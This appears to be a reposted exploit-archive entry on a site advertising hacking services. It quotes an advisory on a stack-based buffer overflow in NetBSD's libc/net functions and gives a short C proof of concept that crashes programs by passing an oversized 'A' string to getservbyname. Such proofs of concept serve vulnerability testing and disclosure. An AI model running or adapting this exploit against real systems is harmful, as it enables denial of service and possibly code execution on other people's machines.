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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
// source: https://www.securityfocus.com/bid/48528/info

NetBSD is prone to a stack-based buffer-overflow vulnerability affecting multiple functions in the 'libc/net' library.

Successful exploits may allow an attacker to execute arbitrary code in the context of the application using the affected library. Failed exploit attempts will result in a denial-of-service condition. 

/*
127# gcc -o grr grr.c && ./grr 6050
127# gcc -o grr grr.c && ./grr 6051
Memory fault (core dumped)
127#


*/
#include <stdlib.h>
#include <string.h>
#include <netdb.h>

int main(int argc, char *argv[]){
	char *cycek;
	cycek=malloc(atoi(argv[1]));

	if(!cycek) return 1;
	memset(cycek,'A',atoi(argv[1]));

	getservbyname(cycek,"tcp");

	return 0;
}